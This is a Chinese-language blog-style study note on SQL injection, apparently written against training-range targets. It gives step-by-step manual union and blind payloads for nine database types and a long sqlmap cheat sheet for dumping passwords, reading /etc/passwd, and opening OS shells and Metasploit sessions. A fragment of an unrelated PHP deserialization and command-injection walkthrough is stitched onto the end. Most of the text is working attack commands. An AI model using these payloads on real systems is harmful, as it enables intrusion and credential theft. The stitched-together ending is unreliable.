MySQL:1.找到注入點(diǎn) and 1=1 and 1=2 測試報錯2.order by 5 # 到5的時(shí)候報錯,獲取字段總數為43.id=0(不是1就行,強行報錯) union select 1,2,3,4 # 聯(lián)合查詢(xún),2和3可以顯示信息4.獲取數據庫信息user() ==>rootdatabase() ==>mozhe_Discuz_StormGroupversion() ==>5.7.22-0ubuntu0.16.04.15.獲取數據庫表table_name 表名information_schema.tables 系統生成信息表table_schema=數據庫名16進(jìn)制或者用單引號括起來(lái)改變limit 0,1中前一個(gè)參數,得到兩個(gè)表 StormGroup_member notice6.獲取列名結果如下 id,name,password,status7.脫褲<br />Access:1.and 1=2 報錯找到注入點(diǎn)2.order by 獲取總字段3.猜解表名 and exists (select * from admin) 頁(yè)面返回正常,說(shuō)明存在admin表4.猜解列名 and exists(select id from admin) 頁(yè)面顯示正常,admin表中存在id列 username,passwd 同樣存在5.脫褲 union select 1,username,passwd,4 from adminMSSQL:1.and 1=2報錯2.order by N# 獲取總字段3.猜表名 and exists(select * from manage) 表名manage存在4.猜解列名 and exists(select id from manage) 列名id存在,同樣username,password也存在5.脫褲 and exists (select id from manage where id=1 ) 證明id=1存在and exists (select id from manage where%20 len(username)=8 and id=1 ) 猜解username字段長(cháng)度為8and exists (select id from manage where%20 len(password)=16 and id=1 ) 猜解password字段長(cháng)度為16可用Burp的Intruder功能輔助猜解猜解username第1到8位的字符,ASCII轉碼 admin_mz猜解password第1到16位的字符,ASCII轉碼(Burp 爆破)轉ASCII的py腳本:72e1bfc3f01b7583 MD5解密為97285101<br />SQLite:1.找注入點(diǎn) and 1=12.order by N 猜字段 43.猜數據庫offset ==>0~2有三個(gè)數據庫:WSTMart_regnotice_sybasesqlite_sequence4.猜列共有3個(gè)字段:id,name,password5.脫褲<br />MongoDB:1.id=1′ 單引號注入報錯2.閉合語(yǔ)句,查看所有集合3.查看指定集合的數據[0] 代表第一條數據,可遞增<br />DB2:1.and 1=2 判斷注入點(diǎn)2.order by N 獲取字段數3.爆當前數據庫GAME_CHARACTER4.列表NAME5.脫褲<br />PostgreSQL:1.and 1=2 判斷注入點(diǎn)2.order by N 獲取字段3.爆數據庫4.列表5.列字段6.拖庫<br />Sybase數據庫:1.and 1=2 判斷注入點(diǎn)2.order by N 獲取總字段3.爆數據庫4.列表5.列字段6.查狀態(tài)結果為:zhang7.反選爆用戶(hù)名結果為:mozhe8.猜解密碼<br />Oracle:1.and 1=12.order by3.爆數據庫4.列表5.列字段6.拖庫加上狀態(tài):1 where STATUS=1
簡(jiǎn)要學(xué)習各種注入工具的使用指南
熟悉工具的主持庫,注入模式,優(yōu)缺點(diǎn)等sqlmap,NoSQLAttack,Pangolin等
sqlmap基本操作sqlmap簡(jiǎn)介sqlmap支持五種不同的注入模式:
1、基于布爾的盲注即可以根據返回頁(yè)面判斷條件真假的注入2、基于時(shí)間的盲注即不能根據頁(yè)面返回內容判斷任何信息用條件語(yǔ)句查看時(shí)間延遲語(yǔ)句是否執行(即頁(yè)面返回時(shí)間是否增加)來(lái)判斷。3、基于報錯注即頁(yè)面會(huì )返回錯誤信息或者把注入的語(yǔ)句的結果直接返回在頁(yè)面中4、聯(lián)合查詢(xún)注入可以使用union的情況下的注入5、堆查詢(xún)注入可以同時(shí)執行多條語(yǔ)句的執行時(shí)的注入
sqlmap支持的數據庫有:
MySQL,?Oracle,?PostgreSQLMicrosoft?SQL?ServerMicrosoft?Access,?IBM?DB2SQLite,?Firebird,Sybase和SAP?MaxDB
檢測注入:
基本格式sqlmap -u “http://www.vuln.cn/post.php?id=1”默認使用level1檢測全部數據庫類(lèi)型sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3指定數據庫類(lèi)型為mysql,級別為3(共5級,級別越高,檢測越全面)跟隨302跳轉當注入頁(yè)面錯誤的時(shí)候,自動(dòng)跳轉到另一個(gè)頁(yè)面的時(shí)候需要跟隨302,當注入錯誤的時(shí)候,先報錯再跳轉的時(shí)候,不需要跟隨302。目的就是:要追蹤到錯誤信息。
cookie注入
當程序有防get注入的時(shí)候,可以使用cookie注入sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level達到2才會(huì )檢測cookie)
從post數據包中注入
可以使用burpsuite或者temperdata等工具來(lái)抓取post包sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username參數
注入成功后
獲取數據庫基本信息sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 –dbs查詢(xún)有哪些數據庫sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test –tables查詢(xún)test數據庫中有哪些表sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin –columns查詢(xún)test數據庫中admin表有哪些字段sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin -C “username,password” –dumpdump出字段username與password中的數據其他命令參考下面從數據庫中搜索字段sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password在dedecms數據庫中搜索字段admin或者password。
讀取與寫(xiě)入文件
首先找需要網(wǎng)站的物理路徑,其次需要有可寫(xiě)或可讀權限。–file-read=RFILE 從后端的數據庫管理系統文件系統讀取文件 (物理路徑)–file-write=WFILE 編輯后端的數據庫管理系統文件系統上的本地文件 (mssql xp_shell)–file-dest=DFILE 后端的數據庫管理系統寫(xiě)入文件的絕對路徑#示例:sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”使用shell命令:sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell接下來(lái)指定網(wǎng)站可寫(xiě)目錄:“E:\php\htdocs\dvwa”#注:mysql不支持列目錄,僅支持讀取單個(gè)文件。sqlserver可以列目錄,不能讀寫(xiě)文件,但需要一個(gè)(xp_dirtree函數)
sqlmap基本操作
基本操作筆記:
-u #注入點(diǎn)-f #指紋判別數據庫類(lèi)型-b #獲取數據庫版本信息-p #指定可測試的參數(?page=1&id=2 -p "page,id")-D "" #指定數據庫名-T "" #指定表名-C "" #指定字段-s "" #保存注入過(guò)程到一個(gè)文件,還可中斷,下次恢復在注入(保存:-s "xx.log" 恢復:-s "xx.log" --resume)--level=(1-5) #要執行的測試水平等級,默認為1--risk=(0-3) #測試執行的風(fēng)險等級,默認為1--time-sec=(2,5) #延遲響應,默認為5--data #通過(guò)POST發(fā)送數據--columns #列出字段--current-user #獲取當前用戶(hù)名稱(chēng)--current-db #獲取當前數據庫名稱(chēng)--users #列數據庫所有用戶(hù)--passwords #數據庫用戶(hù)所有密碼--privileges #查看用戶(hù)權限(--privileges -U root)-U #指定數據庫用戶(hù)--dbs #列出所有數據庫--tables -D "" #列出指定數據庫中的表--columns -T "user" -D "mysql" #列出mysql數據庫中的user表的所有字段--dump-all #列出所有數據庫所有表--exclude-sysdbs #只列出用戶(hù)自己新建的數據庫和表--dump -T "" -D "" -C "" #列出指定數據庫的表的字段的數據(--dump -T users -D master -C surname)--dump -T "" -D "" --start 2 --top 4 # 列出指定數據庫的表的2-4字段的數據--dbms #指定數據庫(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)--os #指定系統(Linux,Windows)-v #詳細的等級(0-6) 0:只顯示Python的回溯,錯誤和關(guān)鍵消息。 1:顯示信息和警告消息。 2:顯示調試消息。 3:有效載荷注入。 4:顯示HTTP請求。 5:顯示HTTP響應頭。 6:顯示HTTP響應頁(yè)面的內容--privileges #查看權限--is-dba #是否是數據庫管理員--roles #枚舉數據庫用戶(hù)角色--udf-inject #導入用戶(hù)自定義函數(獲取系統權限)--union-check #是否支持union 注入--union-cols #union 查詢(xún)表記錄--union-test #union 語(yǔ)句測試--union-use #采用union 注入--union-tech orderby #union配合order by--data "" #POST方式提交數據(--data "page=1&id=2")--cookie "用;號分開(kāi)" #cookie注入(--cookies=”P(pán)HPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)--referer "" #使用referer欺騙(--referer "http://www.baidu.com")--user-agent "" #自定義user-agent--proxy "http://127.0.0.1:8118" #代理注入--string="" #指定關(guān)鍵詞,字符串匹配.--threads #采用多線(xiàn)程(--threads 3)--sql-shell #執行指定sql命令--sql-query #執行指定的sql語(yǔ)句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" )--file-read #讀取指定文件--file-write #寫(xiě)入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;將本地的test.txt文件寫(xiě)入到目標的1.txt)--file-dest #要寫(xiě)入的文件絕對路徑--os-cmd=id #執行系統命令--os-shell #系統交互shell--os-pwn #反彈shell(--os-pwn --msf-path=/opt/framework/msf3/)--msf-path= #matesploit絕對路徑(--msf-path=/opt/framework/msf3/)--os-smbrelay #--os-bof #--reg-read #讀取win系統注冊表--priv-esc #--time-sec= #延遲設置 默認--time-sec=5 為5秒-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" #指定user-agent注入--eta #盲注/pentest/database/sqlmap/txt/common-columns.txt 字段字典 common-outputs.txtcommon-tables.txt 表字典keywords.txtoracle-default-passwords.txtuser-agents.txtwordlist.txt<br />
常用語(yǔ)句 :
1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-f -b --current-user --current-db --users --passwords --dbs -v 02./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --passwords -U root --union-use -v 23./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --dump -T users -C username -D userdb --start 2 --stop 3 -v 24./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --dump -C "user,pass" -v 1 --exclude-sysdbs5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --sql-shell -v 26./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --file-read "c:\boot.ini" -v 27./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 28./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-cmd "id" -v 19./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-shell --union-use -v 210./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 111./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-pwn --msf-path=/opt/framework/msf3 -v 112./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-bof --msf-path=/opt/framework/msf3 -v 113./sqlmap.py -u http://www.xxxxx.com/test.php?p=2--reg-add --reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=114./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --eta15./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B -p id --prefix "')" --suffix "AND ('abc'='abc"16./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B --auth-type Basic --auth-cred "testuser:testpass"17./sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"18./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 319./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B --sql-query "SELECT 'foo'" -v 120./sqlmap.py -u "http://192.168.136.129/mysql/g ... ot%3B --common-tables -D testdb --banner21./sqlmap.py -u "http://192.168.136.129/mysql/g ... ot%3B --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string='xx' --dbs --level=3 -p "uid"
簡(jiǎn)單的注入流程 :
1.讀取數據庫版本,當前用戶(hù),當前數據庫
sqlmap -u http://www.xxxxx.com/test.php?p=2-f -b --current-user --current-db -v 1
2.判斷當前數據庫用戶(hù)權限
sqlmap -u http://www.xxxxx.com/test.php?p=2--privileges -U 用戶(hù)名 -v 1sqlmap -u http://www.xxxxx.com/test.php?p=2--is-dba -U 用戶(hù)名 -v 1
3.讀取所有數據庫用戶(hù)或指定數據庫用戶(hù)的密碼
sqlmap -u http://www.xxxxx.com/test.php?p=2--users --passwords -v 2sqlmap -u http://www.xxxxx.com/test.php?p=2--passwords -U root -v 2
4.獲取所有數據庫
sqlmap -u http://www.xxxxx.com/test.php?p=2--dbs -v 2
5.獲取指定數據庫中的所有表
sqlmap -u http://www.xxxxx.com/test.php?p=2--tables -D mysql -v 2
6.獲取指定數據庫名中指定表的字段
sqlmap -u http://www.xxxxx.com/test.php?p=2--columns -D mysql -T users -v 2
7.獲取指定數據庫名中指定表中指定字段的數據
sqlmap -u http://www.xxxxx.com/test.php?p=2--dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2
8.file-read讀取web文件
sqlmap -u http://www.xxxxx.com/test.php?p=2--file-read "/etc/passwd" -v 2
9.file-write寫(xiě)入文件到web
sqlmap -u http://www.xxxxx.com/test.php?p=2--file-write /localhost/mm.php --file使用sqlmap繞過(guò)防火墻進(jìn)行注入測試
sqlmap詳細命令
–is-dba 當前用戶(hù)權限(是否為root權限)–dbs 所有數據庫–current-db 網(wǎng)站當前數據庫–users 所有數據庫用戶(hù)–current-user 當前數據庫用戶(hù)–random-agent 構造隨機user-agent–passwords 數據庫密碼–proxy http://local:8080 –threads 10 (可以自定義線(xiàn)程加速) 代理–time-sec=TIMESEC DBMS響應的延遲時(shí)間(默認為5秒)——————————————————————————————————
Options(選項)
–version 顯示程序的版本號并退出
-h, –help 顯示此幫助消息并退出-v VERBOSE 詳細級別:0-6(默認為1)保存進(jìn)度繼續跑:sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存進(jìn)度sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” –resume 恢復已保存進(jìn)度
Target(目標)
以下至少需要設置其中一個(gè)選項,設置目標URL。-d DIRECT 直接連接到數據庫。-u URL, –url=URL 目標URL。-l LIST 從Burp或WebScarab代理的日志中解析目標。-r REQUESTFILE 從一個(gè)文件中載入HTTP請求。-g GOOGLEDORK 處理Google dork的結果作為目標URL。-c CONFIGFILE 從INI配置文件中加載選項。
Request(請求)
這些選項可以用來(lái)指定如何連接到目標URL。–data=DATA 通過(guò)POST發(fā)送的數據字符串–cookie=COOKIE HTTP Cookie頭–cookie-urlencode URL 編碼生成的cookie注入–drop-set-cookie 忽略響應的Set – Cookie頭信息–user-agent=AGENT 指定 HTTP User – Agent頭–random-agent 使用隨機選定的HTTP User – Agent頭–referer=REFERER 指定 HTTP Referer頭–headers=HEADERS 換行分開(kāi),加入其他的HTTP頭–auth-type=ATYPE HTTP身份驗證類(lèi)型(基本,摘要或NTLM)(Basic, Digest or NTLM)–auth-cred=ACRED HTTP身份驗證憑據(用戶(hù)名:密碼)–auth-cert=ACERT HTTP認證證書(shū)(key_file,cert_file)–proxy=PROXY 使用HTTP代理連接到目標URL–proxy-cred=PCRED HTTP代理身份驗證憑據(用戶(hù)名:密碼)–ignore-proxy 忽略系統默認的HTTP代理–delay=DELAY 在每個(gè)HTTP請求之間的延遲時(shí)間,單位為秒–timeout=TIMEOUT 等待連接超時(shí)的時(shí)間(默認為30秒)–retries=RETRIES 連接超時(shí)后重新連接的時(shí)間(默認3)–scope=SCOPE 從所提供的代理日志中過(guò)濾器目標的正則表達式–safe-url=SAFURL 在測試過(guò)程中經(jīng)常訪(fǎng)問(wèn)的url地址–safe-freq=SAFREQ 兩次訪(fǎng)問(wèn)之間測試請求,給出安全的URL
Enumeration(枚舉)
這些選項可以用來(lái)列舉后端數據庫管理系統的信息表中的結構和數據此外,您還可以運行您自己的SQL語(yǔ)句。-b, –banner 檢索數據庫管理系統的標識–current-user 檢索數據庫管理系統當前用戶(hù)–current-db 檢索數據庫管理系統當前數據庫–is-dba 檢測DBMS當前用戶(hù)是否DBA–users 枚舉數據庫管理系統用戶(hù)–passwords 枚舉數據庫管理系統用戶(hù)密碼哈希–privileges 枚舉數據庫管理系統用戶(hù)的權限–roles 枚舉數據庫管理系統用戶(hù)的角色–dbs 枚舉數據庫管理系統數據庫-D DBname 要進(jìn)行枚舉的指定數據庫名-T TBLname 要進(jìn)行枚舉的指定數據庫表(如:-T tablename –columns)–tables 枚舉的DBMS數據庫中的表–columns 枚舉DBMS數據庫表列–dump 轉儲數據庫管理系統的數據庫中的表項–dump-all 轉儲所有的DBMS數據庫表中的條目–search 搜索列(S),表(S)和/或數據庫名稱(chēng)(S)-C COL 要進(jìn)行枚舉的數據庫列-U USER 用來(lái)進(jìn)行枚舉的數據庫用戶(hù)–exclude-sysdbs 枚舉表時(shí)排除系統數據庫–start=LIMITSTART 第一個(gè)查詢(xún)輸出進(jìn)入檢索–stop=LIMITSTOP 最后查詢(xún)的輸出進(jìn)入檢索–first=FIRSTCHAR 第一個(gè)查詢(xún)輸出字的字符檢索–last=LASTCHAR 最后查詢(xún)的輸出字字符檢索–sql-query=QUERY 要執行的SQL語(yǔ)句–sql-shell 提示交互式SQL的shell
Optimization(優(yōu)化)
這些選項可用于優(yōu)化SqlMap的性能。-o 開(kāi)啟所有優(yōu)化開(kāi)關(guān)–predict-output 預測常見(jiàn)的查詢(xún)輸出–keep-alive 使用持久的HTTP(S)連接–null-connection 從沒(méi)有實(shí)際的HTTP響應體中檢索頁(yè)面長(cháng)度–threads=THREADS 最大的HTTP(S)請求并發(fā)量(默認為1)
Injection(注入)
這些選項可以用來(lái)指定測試哪些參數提供自定義的注入payloads和可選篡改腳本。-p TESTPARAMETER 可測試的參數(S)–dbms=DBMS 強制后端的DBMS為此值–os=OS 強制后端的DBMS操作系統為這個(gè)值–prefix=PREFIX 注入payload字符串前綴–suffix=SUFFIX 注入payload字符串后綴–tamper=TAMPER 使用給定的腳本(S)篡改注入數據
Detection(檢測)
這些選項可以用來(lái)指定在SQL盲注時(shí)如何解析和比較HTTP響應頁(yè)面的內容。–level=LEVEL 執行測試的等級(1-5,默認為1)–risk=RISK 執行測試的風(fēng)險(0-3,默認為1)–string=STRING 查詢(xún)時(shí)有效時(shí)在頁(yè)面匹配字符串–regexp=REGEXP 查詢(xún)時(shí)有效時(shí)在頁(yè)面匹配正則表達式–text-only 僅基于在文本內容比較網(wǎng)頁(yè)
Techniques(技巧)
這些選項可用于調整具體的SQL注入測試。–technique=TECH SQL注入技術(shù)測試(默認BEUST)–time-sec=TIMESEC DBMS響應的延遲時(shí)間(默認為5秒)–union-cols=UCOLS 定列范圍用于測試UNION查詢(xún)注入–union-char=UCHAR 用于暴力猜解列數的字符
Fingerprint(指紋)
-f, –fingerprint 執行檢查廣泛的DBMS版本指紋
Brute force(蠻力)
這些選項可以被用來(lái)運行蠻力檢查。–common-tables 檢查存在共同表–common-columns 檢查存在共同列
User-defined function injection
?。ㄓ脩?hù)自定義函數注入)
這些選項可以用來(lái)創(chuàng )建用戶(hù)自定義函數。–udf-inject 注入用戶(hù)自定義函數–shared-lib=SHLIB 共享庫的本地路徑
File system access(訪(fǎng)問(wèn)文件系統)
這些選項可以被用來(lái)訪(fǎng)問(wèn)后端數據庫管理系統的底層文件系統。–file-read=RFILE 從后端的數據庫管理系統文件系統讀取文件–file-write=WFILE 編輯后端的數據庫管理系統文件系統上的本地文件–file-dest=DFILE 后端的數據庫管理系統寫(xiě)入文件的絕對路徑
Operating system access
?。ú僮飨到y訪(fǎng)問(wèn))
這些選項可以用于訪(fǎng)問(wèn)后端數據庫管理系統的底層操作系統。–os-cmd=OSCMD 執行操作系統命令–os-shell 交互式的操作系統的shell–os-pwn 獲取一個(gè)OOB shell,meterpreter或VNC–os-smbrelay 一鍵獲取一個(gè)OOB shell,meterpreter或VNC–os-bof 存儲過(guò)程緩沖區溢出利用–priv-esc 數據庫進(jìn)程用戶(hù)權限提升–msf-path=MSFPATH Metasploit Framework本地的安裝路徑–tmp-path=TMPPATH 遠程臨時(shí)文件目錄的絕對路徑Windows注冊表訪(fǎng)問(wèn):這些選項可以被用來(lái)訪(fǎng)問(wèn)后端數據庫管理系統Windows注冊表。–reg-read 讀一個(gè)Windows注冊表項值–reg-add 寫(xiě)一個(gè)Windows注冊表項值數據–reg-del 刪除Windows注冊表鍵值–reg-key=REGKEY Windows注冊表鍵–reg-value=REGVAL Windows注冊表項值–reg-data=REGDATA Windows注冊表鍵值數據–reg-type=REGTYPE Windows注冊表項值類(lèi)型這些選項可以用來(lái)設置一些一般的工作參數。-t TRAFFICFILE 記錄所有HTTP流量到一個(gè)文本文件中-s SESSIONFILE 保存和恢復檢索會(huì )話(huà)文件的所有數據–flush-session 刷新當前目標的會(huì )話(huà)文件–fresh-queries 忽略在會(huì )話(huà)文件中存儲的查詢(xún)結果–eta 顯示每個(gè)輸出的預計到達時(shí)間–update 更新SqlMap–save file保存選項到INI配置文件–batch 從不詢(xún)問(wèn)用戶(hù)輸入,使用所有默認配置。
Miscellaneous(雜項)
–beep 發(fā)現SQL注入時(shí)提醒–check-payload IDS對注入payloads的檢測測試–cleanup SqlMap具體的UDF和表清理DBMS–forms 對目標URL的解析和測試形式–gpage=GOOGLEPAGE 從指定的頁(yè)碼使用谷歌dork結果–page-rank Google dork結果顯示網(wǎng)頁(yè)排名(PR)–parse-errors 從響應頁(yè)面解析數據庫管理系統的錯誤消息–replicate 復制轉儲的數據到一個(gè)sqlite3數據庫–tor 使用默認的Tor(Vidalia/ Privoxy/ Polipo)代理地址–wizard 給初級用戶(hù)的簡(jiǎn)單向導界面
思維導圖
涉及資源https://www.cnblogs.com/bmjoke ... %3Bbr />https://blog.csdn.net/qq_39936 ... .html
案例演示1. Access注入用sqlmap判斷數據庫類(lèi)型
嘗試猜字段數,order by 5時(shí)網(wǎng)頁(yè)有回顯,所以字段數為4:46604/new_list.asp?id=1 order by 5
Access只是單純的數據庫,只有數據,沒(méi)有數據庫名,數據庫版本,操作系統等功能,沒(méi)有information_shcema??芍苯硬樵?xún)數據,獲取表名,列名。嘗試聯(lián)合注入查詢(xún)時(shí)沒(méi)有反應:46604/new_list.asp?id=-1 union select 1,2,3,4
用猜解方式猜解表名,列名(常用的一些表名,如admin,admin_login等)網(wǎng)頁(yè)出現回顯:46604/new_list.asp?id=-1 union select 1,2,3,4 from admin
在回顯位嘗試猜解字段
使用sqlmap跑出來(lái)的結果是一樣的:sqlmap -u :49010/new_list.asp?id=1 -T admin --colimns
sqlmap -u :49010/new_list.asp?id=1 -T admin -C username,passwd --dump
2. Access偏移注入偏移注入的使用目前猜測出了表名,但是怎么都猜不出列名,使用聯(lián)合查詢(xún)法來(lái)進(jìn)行偏移注入
接下來(lái)測出偏移量,其實(shí)這個(gè)偏移量就是admin這張表的列的個(gè)數。直接將22改成*號,測試是否回顯正常,不正常就一直往前減,一直減少到回顯正常為止。
這里運氣比較好,直接就爆出了密碼。但是還沒(méi)有用戶(hù)名呢,那么接下來(lái)可以打亂順序來(lái)重置爆出來(lái)的結果,這里可以使用下列方法來(lái)進(jìn)行完成。
從圖中可以看出已經(jīng)爆出了用戶(hù)名為admin了
簡(jiǎn)單說(shuō)下語(yǔ)句UNION?SELECT?1,2,3,*?from?(admin?as?a?inner?join?admin?as?b?on?a.id=b.id),首先為什么從union?select?1,2,3,4,5,6,*?from變成了1,2,3,*呢是這樣推導出來(lái)的:order by 9代表有9個(gè)回顯點(diǎn)1,2,3,4,5,6,*代表admin表的字段數只有3個(gè)admin表變成了(admin?as?a?inner?join?admin?as?b?on?a.id=b.id)這里是將admin重命名為了a和b兩張表然后通過(guò)inner?join?將a表和b表的id相同字段展示出來(lái)a表和b表本來(lái)都是admin表所以id肯定都是相同的(這里要提醒一下,id這個(gè)字段可以換成其它字段,但是一定得存在,一般admin表中都存在id字段的)這樣做的目的就是可以打亂順序來(lái)爆出其它字段但是由于增加了一張表所以字段數得再減少一個(gè)*號的長(cháng)度所以就從6變成了3
3.偏移注入的進(jìn)階
這樣爆東西非常有隨機性如果表的字段比較多而這個(gè)顯示位又比較少的話(huà)是很有可能爆不出自己想要的東西的所以接下來(lái)學(xué)習偏移注入進(jìn)階同樣通過(guò)order?by?和union?select找到了表為admin但是還是掃不出列名,這次回顯點(diǎn)有22個(gè)
測試admin的列的個(gè)數,最終長(cháng)度為6,而且這次什么都沒(méi)爆出來(lái)
開(kāi)始偏移注入,爆出的結果卻是時(shí)間
此時(shí)可以增加a.id或者b.id或者a.id和b.id一起加上去來(lái)打亂隨機的順序,時(shí)間確實(shí)換了,但是又不是我們想要的,這只是一個(gè)數字,可能是id值之類(lèi)的
查看網(wǎng)頁(yè)的源代碼,會(huì )有隱藏的驚喜
發(fā)現這里有隱藏起來(lái)的回顯點(diǎn),爆出來(lái)了用戶(hù)名為admin,但是還沒(méi)有密碼增加表的個(gè)數,修改代碼,UNION SELECT 1,2,3,4,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id),查看源代碼,成功拿到用戶(hù)名和密碼了。
3. SQL server/mssql
https://www.mozhe.cn/bug/detai ... mozhe
通過(guò)pangolin獲取所需數據:
還可以進(jìn)行命令執行和文件管理
key
##手工注入判斷是否是Mssql判斷是否是mssql數據庫,返回正常,說(shuō)明該數據庫是mssql
判斷數據庫版本號,返回正常,說(shuō)明版本號正確
判斷字段長(cháng)度order by 4正常,遍歷至5時(shí)報錯,說(shuō)明字段長(cháng)度為4
尋找字符型顯示位:44626/new_list.asp?id=-2 union all select null,null,null,null這里使用的是 union all,它和 union select 的區別就是:union select 會(huì )自動(dòng)去除一些重復的字段,在這個(gè)靶場(chǎng)使用 union select 是不行的,所以用 union all。使用null 是說(shuō)明它無(wú)關(guān)是字符型還是數字型
猜測顯示位:44626/new_list.asp?id=-2 union all select '1',null,null,null
:44626/new_list.asp?id=-2 union all select null,'2',null,null
:44626/new_list.asp?id=-2 union all select null,'2','3',null
查詢(xún)相關(guān)信息獲取版本信息:44626/new_list.asp?id=-2 union all select null,@@version,'3',null
獲取數據庫名:44626/new_list.asp?id=-2 union all select null,db_name(),'3',null
獲取當前用戶(hù)名:44626/new_list.asp?id=-2 union all select null,user,'3',null:44626/new_list.asp?id=-2 union all select null,system_user,'3',null:44626/new_list.asp?id=-2 union all select null,current_user,'3',null
查詢(xún)表名:44626/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
:44626/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4注釋?zhuān)簄ame not in ('manage') 這段語(yǔ)句意思是查詢(xún) name 不是 'manage' 的,這樣就可以排除 'manage' 從而查詢(xún)下一個(gè)表名
announcement之后還是manage,說(shuō)明就這倆表
獲取列名:44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null注釋?zhuān)篶ol_name 是查詢(xún)的列名,object_id('manage')是從manage這個(gè)表里查詢(xún),1 代表的是查詢(xún)第一個(gè)列名
這邊查詢(xún)出來(lái)第一個(gè)列名是 id,我們繼續查第二個(gè)列名只需要把數字1修改為2就行了col_name(object_id('manage'),2:44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
查詢(xún)出來(lái)第二個(gè)列名是 username,我們繼續查詢(xún)第三個(gè)列名::44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
獲取數據:44626/new_list.asp?id=-2 union all select null,username,password,null from manage
4. PostgraSQL字段
sqlmap判斷數據庫種類(lèi)
查看表名
查看字段名
查看字段值
5. oracle
6. mongoDBNoSQLAttack支持mongoDB的注入工具
然后輸入x返回,輸入4進(jìn)入
往期內容回顧
大哥大哥行行好
一萬(wàn)字也不算少如有幫助請隨意打賞
php抓取網(wǎng)頁(yè)數據插入數據庫 外殼堅硬的谷子
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 81 次瀏覽 ? 2022-06-21 00:51
發(fā)現了一個(gè)java_script腳本(實(shí)際滲透工作中應該關(guān)注此腳本內容,能夠透出出后端的信息)
里面的內容大致的意思是
通過(guò)函數,提交表單,通過(guò)序列化的操作!IP地址等信息交給ipaddres這個(gè)變量序列化的操作!
那么在這里面既然有序列化的操作,是否會(huì )存在一個(gè)反序列化的漏洞類(lèi)型呢?
這里還看到了一個(gè)被包含的js的文件
點(diǎn)擊這個(gè)鏈接 :44441/php.js"
里面的內容大致就是序列化函數,大概率存在序列化操作
先對其頁(yè)面進(jìn)行功能化測試,輸入127.0.0.1
在結果框中輸出了結果
輸入一些運營(yíng)商的DNS的IP地址
結果顯示出來(lái),從結果上來(lái)看,就是通過(guò)操作系統的ping 命令操作得來(lái)的!
總的來(lái)說(shuō)這就是一個(gè)ping的功能界面(輸入Ip ,統計輸出一些信息是由服務(wù)端調用了系統的ping 命令而來(lái))
這個(gè)地方是否會(huì )存在命令注入漏洞呢?
使用;號,|管道符這樣的連接命令,連接一個(gè)系統id的命令
如圖:沒(méi)有任何返回
使用burp抓取請求報文,看一下內部的流量變化,是否存在序列化的數據
先把瀏覽器代理設置好
通過(guò)抓取的報文,得到的是一個(gè)POST的請求方式;
攜帶了一個(gè)obj的對象和一個(gè)ip 的變量要提交到服務(wù)端;
其中這個(gè)obj的對象里的內容經(jīng)過(guò)了url編碼,將它轉換成可識別的路徑
轉換結果,懂得序列化格式的朋友一看就是php文件之后的序列化數據的格式了
pingTest :序列化對象定義的的類(lèi)
1 :代表類(lèi)中一個(gè)數據的提交
ipAddress :類(lèi)中提交的一個(gè)數據的變量名稱(chēng)
s : 代表了序列化
9 : 代表了名稱(chēng)ipAddress 和 127.0.0.1字符串的長(cháng)度。
